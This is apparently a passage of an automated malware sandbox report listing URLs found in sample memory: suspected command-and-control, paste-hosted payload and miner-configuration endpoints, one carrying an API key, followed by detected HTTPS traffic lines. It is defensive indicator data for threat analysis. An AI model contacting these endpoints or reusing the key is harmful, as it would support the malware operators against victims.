Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://creativecoder.top/Lx
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://creativecoder.top/s
Source: svchost.exe	String found in binary or memory: https://curl.se/
Source: svchost.exe, 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://curl.se/V
Source: svchost.exe, svchost.exe, 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: svchost.exe	String found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: svchost.exe	String found in binary or memory: https://curl.se/docs/copyright.html
Source: svchost.exe, 00000010.00000002.2559890217.00000173D01DB000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/copyright.htmlD
Source: svchost.exe, svchost.exe, 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: svchost.exe	String found in binary or memory: https://curl.se/docs/hsts.html#
Source: svchost.exe, svchost.exe, 00000010.00000002.2559024295.00000173D01BB000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: svchost.exe	String found in binary or memory: https://curl.se/docs/http-cookies.html#
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD5989C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deepseahunter.col.de/
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://deepseahunter.com.de/
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deepseahunter.com.de/5
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://deepseahunter.com.de/cal
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://eonfortnite.com/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eonfortnite.com/neDrive
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://flixmi.top/
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://flixmi.top/=C;LC_TIMEQ
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://flixmi.top/=C;LC_TIMEUkk
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://flixmi.top/xx
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://galaxyglimmer.top/
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://galaxyglimmer.top/F
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://galaxyglimmer.top/Gku
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://gamergategames.top/
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamergategames.top/ux
Source: powershell.exe, 0000001F.00000002.1514433357.000002005BAED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000001F.00000002.1514433357.000002005CA10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: https://i.ibb.co/R2mnW0B/ico.png
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://indexinferno.top/
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://inforte.top/
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://jobscontext.top/
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp, System-f4855f59e0.exe, 0000000E.00000000.1334218488.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmp, System-f4855f59e0.exe, 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmp, Microsoft-f4855f59e0.exe, Microsoft-f4855f59e0.exe, 00000011.00000003.1446815949.0000017D99E3D000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000000.1444761623.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000002.1475795269.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000000.1472403011.00007FF6F0277000.00000002.00000001.01000000.0000000B.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000002.1525296362.00007FF6F0277000.00000002.00000001.01000000.0000000B.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000000.1536925194.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000003.1538720334.0000015F98C97000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544978601.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://leadingworld.top/
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://leadingworld.top/L
Source: WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://leadingworld.top/PE=C;LCC
Source: svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: https://lunarminer.network/
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://namesell.sbs/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://namesell.sbs/4PROCESS
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD598A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://namesell.sbs/Ox
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://namesell.sbs/t
Source: powershell.exe, 0000001F.00000002.1554825743.000002006B931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: cmd.exe, 0000002A.00000002.1478464304.000001A9808AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.c
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://pastesnap.com/
Source: powercfg.exe, 00000012.00000002.1449981083.0000029437030000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/(W
Source: svchost.exe, 00000010.00000002.2553827080.00000173CE013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/0
Source: WMIC.exe, 00000037.00000002.1519599624.000001C183517000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000003.1519154244.000001C183517000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000003.1516325556.000001C183512000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/0xY
Source: cmd.exe, 00000030.00000002.1484571689.000001A649E50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/3
Source: svchost.exe, 00000010.00000002.2554341140.00000173CE0C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2553943667.00000173CE027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.php
Source: svchost.exe, 00000010.00000002.2553943667.00000173CE027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpPKU2U
Source: svchost.exe, 00000010.00000002.2555613530.00000173CFB6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpYg==M.txt
Source: svchost.exe, 00000010.00000002.2554482364.00000173CE0D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpYg==M.txtsage.cfdapi_key=ut1bkd3rwa55zy8mt1hc&id=21&sett
Source: svchost.exe, 00000010.00000002.2554569786.00000173CE0EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2555613530.00000173CFB6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpapi_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu
Source: svchost.exe, 00000010.00000002.2554569786.00000173CE0EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2555613530.00000173CFB6E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2554482364.00000173CE0D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b97f91d60
Source: svchost.exe, 00000010.00000002.2553943667.00000173CE027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b97f91d60Schannel
Source: svchost.exe, 00000010.00000002.2554569786.00000173CE0EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2555613530.00000173CFB6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b97f91d60api_key=ut1bkd3rwa55zy8mt1hc&id=21&se
Source: svchost.exe, 00000010.00000002.2554482364.00000173CE0D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b97f91d60https://pastesnap.com/API/cGFzdGVzbmF
Source: svchost.exe, 00000010.00000002.2554569786.00000173CE0EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpe2d6cbd0e29b34bc6adbd3513173b3b0
Source: svchost.exe, 00000010.00000002.2555586195.00000173CFB69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phphttps://pastesnap.com/API/cGFzdGVzbmFwEP.php
Source: svchost.exe, 00000010.00000002.2553943667.00000173CE027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phphttps://pastesnap.com/API/cGFzdGVzbmFwEP.phpc78da9f679b9
Source: svchost.exe, 00000010.00000002.2553943667.00000173CE027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwEP.phpur32.dllP
Source: svchost.exe, 00000010.00000002.2554341140.00000173CE0BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?ap
Source: svchost.exe, 00000010.00000002.2554341140.00000173CE0BF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2553736925.00000173CE000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu
Source: svchost.exe, 00000010.00000002.2554097147.00000173CE06D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2554341140.00000173CE0BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpu4c
Source: svchost.exe, 00000010.00000002.2554097147.00000173CE06D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2555349401.00000173CFB44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpuPh
Source: svchost.exe, 00000010.00000002.2555349401.00000173CFB44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpuU
Source: svchost.exe, 00000010.00000002.2553736925.00000173CE000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpueb
Source: svchost.exe, 00000010.00000002.2554341140.00000173CE0BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpuht
Source: svchost.exe, 00000010.00000002.2553736925.00000173CE000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/API/cGFzdGVzbmFwGUS.php?api_key=ut1bkd3rwa55zy8mt1hc&id=21&settings_type=cpuin
Source: icacls.exe, 00000032.00000002.1483865441.00000234E1B14000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000033.00000003.1495332041.000002AAC5386000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000033.00000003.1504484027.000002AAC5386000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000033.00000002.1505179200.000002AAC5554000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000033.00000003.1504484027.000002AAC538A000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000033.00000003.1495332041.000002AAC538A000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000033.00000002.1504902044.000002AAC5330000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000033.00000003.1504652619.000002AAC538A000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000033.00000002.1505179200.000002AAC5550000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000033.00000002.1505078012.000002AAC538A000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000033.00000003.1504652619.000002AAC5386000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000003.1515891023.000001C183590000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000002.1520024404.000001C1836E4000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000002.1520024404.000001C1836E0000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000003.1519193668.000001C183553000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000002.1519977745.000001C183590000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000002.1519872411.000001C183554000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000003.1518859883.000001C183551000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000003.1516325556.000001C183551000.00000004.00000020.00020000.00000000.sdmp, WMIC.exe, 00000037.00000002.1519599624.000001C183500000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000003C.00000002.1548361165.0000023245FA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/APPDATA=C:
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD5989C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/Kh
Source: gem2.exe, 00000000.00000003.1329691499.000002351CBED000.00000004.00000020.00020000.00000000.sdmp, gem2.exe, 00000000.00000003.1420573984.000002351CBC8000.00000004.00000020.00020000.00000000.sdmp, gem2.exe, 00000000.00000003.1329805123.000002351CBEF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt
Source: gem2.exe, 00000000.00000003.1420573984.000002351CBC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt/
Source: gem2.exe, 00000000.00000003.1420573984.000002351CBC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt5
Source: gem2.exe, 00000000.00000003.1420573984.000002351CBC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/STB/cGFzdGVzbmFwM.txtup
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/Windows
Source: svchost.exe, 00000010.00000002.2553943667.00000173CE027000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/blockremoteimageloadsdevicecapabilitycamera
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://pastesnap.com/https://deepseahunter.com.de/https://projectretrac.com/https://brettdogecoin.c
Source: cmd.exe, 0000002A.00000002.1478464304.000001A9808A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastesnap.com/t
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://projectretrac.com/
Source: System-f4855f59e0.exe, 0000000E.00000002.1334661701.000001DD5989C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://projectretrac.com/Hh
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://projectretrac.com/P_PROF
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://russianculturalheritage.ru/
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://russianculturalheritage.ru/o
Source: svchost.exe, 00000010.00000002.2553827080.00000173CE013000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, Microsoft-f4855f59e0.exe, 00000011.00000003.1446815949.0000017D99E3D000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000000.1444761623.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, Microsoft-f4855f59e0.exe, 00000011.00000002.1475795269.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000000.1472403011.00007FF6F0277000.00000002.00000001.01000000.0000000B.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp, WinDrive-f4855f59e0.exe, 00000026.00000002.1525296362.00007FF6F0277000.00000002.00000001.01000000.0000000B.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000000.1536925194.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000003.1538720334.0000015F98C97000.00000004.00000020.00020000.00000000.sdmp, Microsoft-f4855f59e0.exe, 0000003B.00000002.1544978601.00007FF7D1697000.00000002.00000001.01000000.00000008.sdmp, gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://securetextweb.cc/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://securetextweb.cc/BAT;.CM
Source: svchost.exe, 00000010.00000002.2555613530.00000173CFB71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://securetextweb.cc/y
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://spokoystvieidusha.ru/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spokoystvieidusha.ru/E;.WS
Source: WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spokoystvieidusha.ru/_TIMEQ
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://syncaicloud.com/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://syncaicloud.com/ndows
Source: svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2553827080.00000173CE013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://textbinvault.com/
Source: svchost.exe, 00000010.00000002.2553827080.00000173CE013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://tiffanyonlinestore.top/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffanyonlinestore.top/Ak
Source: WinDrive-f4855f59e0.exe, 00000026.00000002.1525048817.00000226CC15C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffanyonlinestore.top/H
Source: Microsoft-f4855f59e0.exe, 00000011.00000002.1475065410.0000017D99E32000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffanyonlinestore.top/a
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://wavepassage.cfd/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wavepassage.cfd/Bkz
Source: svchost.exe, 00000010.00000002.2555613530.00000173CFB71000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt
Source: svchost.exe, 00000010.00000002.2553827080.00000173CE013000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wavepassage.cfd/https://pastesnap.com/https://textbinvault.com/NegoExtender
Source: svchost.exe, 00000010.00000002.2547849226.00000173CD257000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: https://wavepassage.cfd/https://pastesnap.com/https://textbinvault.com/https://securetextweb.cc/80
Source: gem2.exe, Microsoft-f4855f59e0.exe.0.dr, WinDrive-f4855f59e0.exe.17.dr, System-f4855f59e0.exe.0.dr, $LMX-f4855f59e0.exe.0.dr	String found in binary or memory: https://wildlify.com/
Source: Microsoft-f4855f59e0.exe, 0000003B.00000002.1544601640.0000015F98C78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wildlify.com/Java
Source: svchost.exe	String found in binary or memory: https://www.openssl.org/
Source: svchost.exe, 00000010.00000002.2558519464.00000173D0113000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50615
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50617
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50610
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 50360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50622
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50627
Source: unknown	Network traffic detected: HTTP traffic on port 50417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50629
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50507
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50621
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50589 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
